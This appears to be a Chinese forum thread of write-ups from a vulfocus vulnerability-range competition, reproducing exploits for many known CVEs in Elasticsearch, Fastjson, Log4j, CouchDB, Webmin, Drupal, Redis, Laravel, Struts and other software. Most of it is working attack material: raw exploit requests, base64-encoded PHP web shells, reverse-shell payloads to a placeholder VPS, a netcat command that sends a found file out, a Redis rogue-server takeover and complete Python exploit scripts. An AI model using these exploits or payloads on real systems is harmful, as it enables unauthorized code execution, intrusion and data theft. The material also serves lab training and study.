POST /_search?pretty HTTP/1.1Host: 106.75.119.109:44991User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 361{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}



漏洞利用

具体操作同上,比如还可以同时执行多个恶意代码

POST /_search?pretty HTTP/1.1Host: 106.75.119.109:44991User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 532{    "size": 1,    "query": {      "filtered": {        "query": {          "match_all": {          }        }      }    },    "script_fields": {        "command": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"        },"test": {            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"        }    }}




总结

本次vulfocus靶场竞赛,竞争激烈,参与者众多,一度导致系统无法正常访问,不过赛事举办方忙而不乱,稳中有序,及时处理了各种问题,保障了比赛的正常进行,这里要为举办方的付出和努力点个赞。

这次比赛的题目都是出自于vulfocus的靶场,不过隐去了漏洞的描述,所以对选手的信息收集能力有了一定的要求,需要先确定是什么漏洞(不得不说goby真的很好用),参与比赛让我意识到,不是为了打靶场而打靶场,相关的漏洞要多了解,各种工具和脚本不是拿来主义,而是要能够明白里面的逻辑和原理,才能转化为自己的知识和能力







回复
[url=]举报[/url]



[tr][/tr]
mxsillusion



2
主题
11
帖子
50
积分

积分50
板凳
  楼主| 发表于 22 分钟前 | 只看该作者


作者:夏天@UTF-8

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

题目号:030描述

Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。

CVE编号:CVE-2017-17733

复现


POC

http://106.75.119.109:56376/?m=vod-search
POST:wd={if-A:phpinfo()}{endif-A}

写入一句话木马,post传入

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

木马路径http://106.75.119.109:56376/c.php 密码:c

题目号:036描述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

cnvd漏洞编号:CNVD-2017-02833

复现

反弹shell

Exploit.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

javac生成Exploit.class

python3 -m http.server --bind 0.0.0.0 1234  开启WEB服务,要在Exploit.class目录下java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:1234/#Exploit" 9999    开启rmi服务加载恶意payloadPOST / HTTP/1.1
Host: 106.75.119.109:8319
Content-Length: 263
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Origin: http://106.75.119.109:8319
Content-Type: text/plain
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.75.119.109:8319/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ; redirect=1; JSESSIONID=52353575D2190FB692CBB1125D978C4B
Connection: close

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxxxxxxxxx:9999/Exploit",
        "autoCommit":true
    }
}


题目号:045描述

Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password

CVE编号:CVE-2020-35606

复现

https访问

https://106.75.119.109:37875/password_change.cgi

user=rootxx&pam=&expired=2&old=ls /tmp&new1=test2&new2=test2


题目号:052描述

Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。

CVE编号:CVE-2019-9644

复现


题目号:058描述

Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。

ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

CVE编号:CVE-2015-1427

复现POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:33026
Pragma: no-cache
Cache-Control: no-cache
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
X-Requested-With: xm lHttpRequest
Referer: http://106.75.119.109:33026/_search?pretty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 361

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}题目号:059描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

复现

看到主页一脸懵逼,这什么东西

不懂就上nmap扫指纹

nmap -p 20785 -sV -sC -v 106.75.119.109

版本1.6.0


真正的主页http://106.75.119.109:20785/_utils/


POC

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/_config/query_servers/cmd' -d '"ping -t 4 `ls /tmp`.wu5vm3.dnslog.cn"'

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456

curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'

curl -X POST 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

坑点,在执行第二遍的第二条命令时会报错(无法创建数据库,文件已存在。),需要把vultest123456改一下,三和四也要改成一样的。

题目号:062描述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

CVE编号:CVE-2021-44228

复现

工具地址

https://github.com/Mr-xn/JNDIExploit-1root@iZ2zegj6z62g2us7qvukxsZ:~/test# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxxxxxxxxx -l 7000 -p 5000
[+] LDAP Server Start Listening on 7000...
[+] HTTP Server Start Listening on 5000...payload=${jndi:ldap://xxx.xxx.xxx.xxx:7000/TomcatBypass/TomcatEcho}

题目号:071描述

Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞

CVE编号:CVE-2017-4971

复现

点击Login进入登录模块

多个默认账号与密码,随意挑选一个进行登录


漏洞触发点

http://your-ip/hotels/1

点击Book Hotel


填写好点击proceed


在点击Confirm的时候抓下包


payload

_eventId_confirm=&_csrf=404e5fd4-b3e6-42f2-ac0c-23c16de3b1de&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/8089+0>%261")).start()=vulhub

成功反弹shell


题目号:076描述

Drupal core是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。

cve编号:cve-2019-6339

复现

先登录:用户名密码:admin/123456(比赛中用的密码基本都是这种弱密码)


POC下载地址

https://github.com/thezdi/PoC/tree/master/Drupal

进入链接上传POC

http://xxx.xxx.xxx.xxx/user/1/edit


复制图片链接http://xxx.xxx.xxx.xxx:36857/sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg

Drupal的默认文件保存地址是/site/default/files/pictures/xxx-xxx/图片名字

然后设置一个临时目录

http://xxx.xxx.xxx.xxx:55965/admin/config/media/file-system

改成phar://./sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg放入Temporary directory

点击Save configuration保存日志触发漏洞


修改poc,让其执行的命令为:ls /tmp

使用工具:winhex

前面的s:7一定修改,ls /tmp的字节为7


保存图片,上传,触发


题目号:077描述

Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

CVE编号:cve-2019-16278

复现

http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd


http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/tmp/


结尾

一些做题技巧,当打开题目无从下手时,可以利用指纹扫描工具比如Goby、Xray、vulmap、nmap,指纹信息搭配Goby可快速利用漏洞(渗透测试本质就是信息收集),也可根据指纹信息去靶场环境搜索找到CVE编号然后百度找复现文章(坑点多),或者去github找大佬写好的工具一把梭,在复现学习过程中不建议复现完漏洞就完事,做好笔记,学习漏洞点,学习攻击手法。

仅代表个人的评价比赛与总结:感觉像是把CTF(夺旗比赛)与实战(各种实战中可能遇到的漏洞)融合。漏洞日益渐增,复现/分析/了解漏洞一直是比较困难的,要么自己找源码去尝试,要么借助网络空间安全搜索引擎(fofa)在未授权的环境进行测试复现,vulfocus的出现不仅保护了网络上的安全,也保护了不懂法的小白,希望vulfocus与办越好。下次我一定要找俩队友冲进前五。







回复
[url=]举报[/url]



mxsillusion



2
主题
11
帖子
50
积分

积分50
地板
  楼主| 发表于 21 分钟前 | 只看该作者


作者:givemefivw@上海观安信息技术股份有限公司

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

038 Drupal

打开靶场,得到信息Powered by Drupal:


访问user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax目录


说明可能存在CVE-2018-7600

抓包修改数据:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1Host: 106.75.119.109:51572Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663Content-Type: application/x-www-form-urlencodedContent-Length: 621-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#post_render][]"passthru-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#type]"markup-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#markup]"ls /tmp-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="form_id"user_register_form-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="_drupal_ajax"

得到flag:flag-{bmh47f9f13a-1a64-4881-a952-8af433bde8d4}


062 Log4j

启动靶场,在页面抓包

在VPS启动JNDI工具

POST /hello HTTP/1.1Host: 106.75.119.109:19542Content-Length: 68Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Origin: <http://106.75.100.72:61111>cmd:ls /tmpContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: <http://106.75.119.109:19542>Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closepayload=${jndi:ldap://vps:1389/TomcatBypass/TomcatEcho}

得到flag


045 Webmin


无需登陆,使用脚本直接拿flag


完整数据包:

POST /password_change.cgi HTTP/1.1Host: 106.75.119.109:50093CAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: <https://106.75.119.109:50093/session_login.cgi>Content-Type: application/x-www-form-urlencodedContent-Length: 67user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2&=


注意这里两个flag,使用第一个。

27 redis

看到端口映射信息:6379:11230

redis未授权


利用主从复制拿到Shell

下载两个脚本:```java<https://github.com/n0b0dyCN/redis-rogue-server><[url]https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server>[/url]

将 redis-rogue-server的exp.so文件复制到 Awsome文件夹中使用,因为exp.so带 system模块

1、开启监听——nc -lvnp 9999

2、攻击机开启主服务器——python3 redis_rogue_server.py -v -path exp.so

然后靶机执行:```javaconfig set dir /tmp//一般tmp目录都有写权限,所以选择这个目录写入config set dbfilename exp.so//设置导出文件的名字 这里就是创建一个空文件slaveof vps 15000//进行主从同步,将恶意so文件写入到tmp文件//端口可以自定义


然后加载恶意so文件

module load ./exp.so //加载写入的so文件模块module list//ັ查看恶意的so文件有没有写入成功


反弹Shell:system.rev vps 9999


70 nodejs(方法是其他大佬提供的)http://106.75.119.109:28589/api/getServices?name[]=$(find%20/%20-name%20%22*flag*%22%20%3E%201.txt)


http://106.75.119.109:28589/api/getServices?name[]=$(nc%20vps%202333%20%3C%201.txt)



48 phpok CVE-2018-12491任意文件上传

打开靶场


搜索历史漏洞,找到CVE-2018-12491任意文件上传:

https://blog.csdn.net/weixin_42582241/article/details/104593164#:~:text=%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0%EF%BC%9Aphp,%EF%BC%8C%E8%8E%B7%E5%8F%96%E7%BD%91%E7%AB%99%E6%9D%83%E9%99%90%E3%80%8232 JunAMS CNVD-2020-24741文件上传


https://blog.csdn.net/YouthBelief/article/details/12140351241 Nifi Api 远程代码执行


搜索历史漏洞,找到此处:

https://github.com/freeFV/CVE-2020/blob/main/Apache%20NiFi%20Api%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(RCE).md

exp.py:

import sysimport jsonimport requests as reqclass Exp:    def __init__(self, url):        self.url = url    def check_is_vul(self):        url = self.url + "/nifi-api/access/config"        try:            res = req.get(url=url, verify=False)            data = res.json()            return not data["config"]["supportsLogin"]        except Exception as e:            pass        return False    def clean_up(self, p_id):        url = self.url + "/nifi-api/processors/" + p_id + "/run-status"        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}        req.put(url=url, data=json.dumps(data), verify=False)        req.delete(url + "/threads", verify=False)    def exploit(self, cmd):        g_id = self.fetch_process_group()        if g_id:            p_id = self.create_process(g_id)            if p_id:                self.run_cmd(p_id=p_id, cmd=cmd)                self.clean_up(p_id=p_id)    def run_cmd(self, p_id, cmd):        url = self.url + "/nifi-api/processors/" + p_id        cmd = cmd.split(" ")        data = {            'component': {                'config': {                    'autoTerminatedRelationships': ['success'],                    'properties': {                        'Command': cmd[0],                        'Command Arguments': " ".join(cmd[1:]),                    },                    'schedulingPeriod': '3600 sec'                },                'id': p_id,                'state': 'RUNNING'            },            'revision': {'clientId': 'x', 'version': 1}        }        print(data)        headers = {            "Content-Type": "application/json",        }        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)        return res.json()    def fetch_process_group(self):        url = self.url + "/nifi-api/process-groups/root"        try:            res = req.get(url=url, verify=False)            data = res.json()["id"]            return data        except Exception as e:            pass        return 0    def create_process(self, process_group_id):        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"        data = {            'component': {                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'            },            'revision': {                'version': 0            }        }        headers = {            "Content-Type": "application/json",        }        try:            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)            return res.json()["id"]        except Exception as e:            pass        return 0if __name__ == '__main__':    if len(sys.argv) != 3:        print("rce.py url cmd")    else:        url = sys.argv[1]  # <http://192.168.1.1:8080>        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234        e = Exp(url)        e.exploit(cmd)

脚本使用时注意目标后面不加/,或者直接修改代码。

python3 exp.py http://106.75.119.109:15961 "nc -e /bin/bash vps port"44 Webmin(和45完全一样)


59 Couchdb CVE-2017-12636


exp.py:

#!/usr/bin/env python3import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = '<http://106.75.119.109:11374>'command = rb"""sh -i >& /dev/tcp/vps/4433 0>&1"""version = 1session = requests.session()session.headers = {    'Content-Type': 'application/json'}# session.proxies = {#     'http': '<http://127.0.0.1:8085>'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{  "type": "user",  "name": "wooyun",  "roles": ["_admin"],  "roles": [],  "password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()if version == 1:    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))else:    host = session.get(target + '/_membership').json()['all_nodes'][0]    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1:    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')else:    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')


75 CVE-2021-32305 WebSVN 2.6.0 RCE


exp.py:

import requestsimport argparsefrom urllib.parse import quote_plus PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps/7777 0>&1'"REQUEST_PAYLOAD = '/search.php?search=";{};"' parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')parser.add_argument('target', type=str, help="Target URL.") args = parser.parse_args() if args.target.startswith("http://") or args.target.startswith("https://"):  target = args.targetelse:  print("[!] Target should start with either http:// or https://")  exit() requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD))) print("Request send. Did you get what you wanted?")


参考:https://blog.csdn.net/weixin_43526443/article/details/121742277

17 YAPi 远程命令执行

https://www.jianshu.com/p/b1f79f346eca

22 St2-059

但是不知道是靶场问题还是什么原因,弹不了Shell

公开的exp:

import requestsurl ="<http://ip>:port"data1 = {"id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {"id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload'))}"}res1 = requests.post(url,data=data1)# print(res1.text)res2 = requests.post(url,data=data2)# print(res2.text)

payload需要编码:

bash -i >& /dev/tcp/vps/9967 0>&1<http://www.jackson-t.ca/runtime-exec-payloads.html>31 CVE-2021-3129 Laravel Debug mode RCE


下载phpggc:https://github.com/ambionics/phpggc

exp:

#!/usr/bin/python3import requests as reqimport os, uuidclass Exp:    __gadget_chains = {        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",    }  # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力    __delimiter_len = 8  # 定界符长度    def __vul_check(self):        resp = req.get(self.__url, verify=False)        if resp.status_code != 405 and "laravel" not in resp.text:            return False        return True    def __payload_send(self, payload):        header = {            "Accept": "application/json"        }        data = {            "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",            "parameters": {                "variableName": "cve20213129",                "viewFile": ""            }        }        data["parameters"]["viewFile"] = payload        resp = req.post(self.__url, headers=header, json=data, verify=False)        # print(resp.text)        return resp    def __command_handler(self, command):        """        因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。        """        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。        # print(delimiter)        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)        # print(command)        escaped_chars = [' ', '&', '|']  # 我只想到这么多,可自行添加。        for c in escaped_chars:            command = command.replace(c, '\\\\' + c)        # print(command)        return command    def __clear_log(self):        return self.__payload_send(            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")    def __gen_payload(self, gadget_chain):        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)        # print(gen_shell)        os.system(gen_shell)        with open('payload.txt', 'r') as f:            payload = f.read().replace('\\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码        os.system("rm payload.txt")        # print(payload)        return payload    def __decode_log(self):        return self.__payload_send(            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")    def __unserialize_log(self):        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")    def __rce(self):        text = self.__unserialize_log().text        # print(text)        echo_find = text.find(self.__delimiter)        # print(echo_find)        if echo_find >= 0:            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]        else:            return "[-] RCE echo is not found."    def exp(self):        for gadget_chain in self.__gadget_chains.keys():            print("Try to use %s for exploitation." % (gadget_chain))            self.__clear_log()            self.__clear_log()            self.__payload_send('a' * 2)            self.__payload_send(self.__gen_payload(gadget_chain))            self.__decode_log()            print("Result:")            print(self.__rce())    def __init__(self, target, command):        self.target = target        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")        self.__command = self.__command_handler(command)        if not self.__vul_check():            print("[-] [%s] is seems not vulnerable." % (self.target))            print("You can also call obj.exp() to force an attack.")        else:            self.exp()def main():    Exp("<http://106.75.119.109:49216/>", "ls /tmp")if __name__ == '__main__':    main()

把exp和phpggc放在同一目录下,py3执行


30 苹果cms


插入一句话(test.php 连接密码test):

<http://106.75.119.109:10343/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28dGVzdC5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW3Rlc3RdKTsgPz4%29%29)}{endif-A}>




24 CVE-2017-8046 Spring Data Rest RCE

扫描目录,发现存在http://106.75.119.109:49526/profile/persons目录

搜素相关漏洞


curl -X POST -i -H "Content-Type:application/json" -d '{"firstName":"Greg", "lastName":"Turnquist"}' <http://106.75.119.109:49526/persons>


访问persons/1页面抓包

修改请求方式为PATCH

PATCH /persons/1 HTTP/1.1Host: 106.75.119.109:49526Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3; redirect=1; PHPSESSION=teujfkinrgs6ebhql3h7k49i30; thinkphp_show_page_trace=0|0; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE5LCJpYXQiOjE2NDA5MzM5NDcsImV4cCI6MTY0MTUzODc0N30.gOK1ez9e2w9ZtGO9IpoFBA12Ikhz22xwYMAb6F5C7Tg; _yapi_uid=19; JSESSIONID=CB81F834ADE3F7FFAD88A7357E3AC8D6; XSRF-TOKEN=eyJpdiI6IjBGN1gzeWVpR3ZwRDljQjVyYlNyV2c9PSIsInZhbHVlIjoieHpRSFV2cmRWZlpoQzRMYXEwcmIrT0JNSStydTBoUHFaYkZndW4vM2ZZZjhrTjVWazBZc0JEeXNpbGxvZjRXS1U2S1crY3pncVFsbGtycjAzT2Z2Q2ZBQWxta05oVDBJU050RkxiY3NnSlNGSThEUGNuZGR2ckJsa3ZqK3ZsREUiLCJtYWMiOiI2YWVlMWI1NTI1Yzk1N2M3NzljM2I1NjRkN2ViNTk3YTk2YTRiZGQyODFjYmZjYjY0Nzc3NWJhNmI0MmRhYzBlIn0%3D; laravel_session=eyJpdiI6ImRTeTVkOHVTMDk0c3AwQTNMUk1lb1E9PSIsInZhbHVlIjoiN1d4cXFiZlZUR2lEUGswQUhYeDhqamZHVGdyUmZJU1A1eTJjd3dQazlNVGpmcXIvbG56cnVPMTdpR3YrSW12SVp4UitYeE80d1ZJVVY1bGsyQlpkYSs3ZkJPNGhzTlJqUCsyVDN6SXJXWXoyZFMybS9TMU1Cd2wweEphUUVEajIiLCJtYWMiOiJjZDA5M2NhNTE0OTEzZWFhNDZiY2NmMjgyYjE2YTU5Nzg5ZmNhYjYzNmM5ZmU4MmM1MThkNTUzYmMwZTY2OTFjIn0%3DContent-Type:application/json-patch+jsonAccept-Encoding: gzip, deflateConnection: closeContent-Length: 452[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{payload}))/lastname", "value": "vulhub" }]

其中payload字段反弹Shell转码后进行进制转换

payload = b'payload'bytecode = ','.join(str(i) for i in list(payload))print(bytecode)

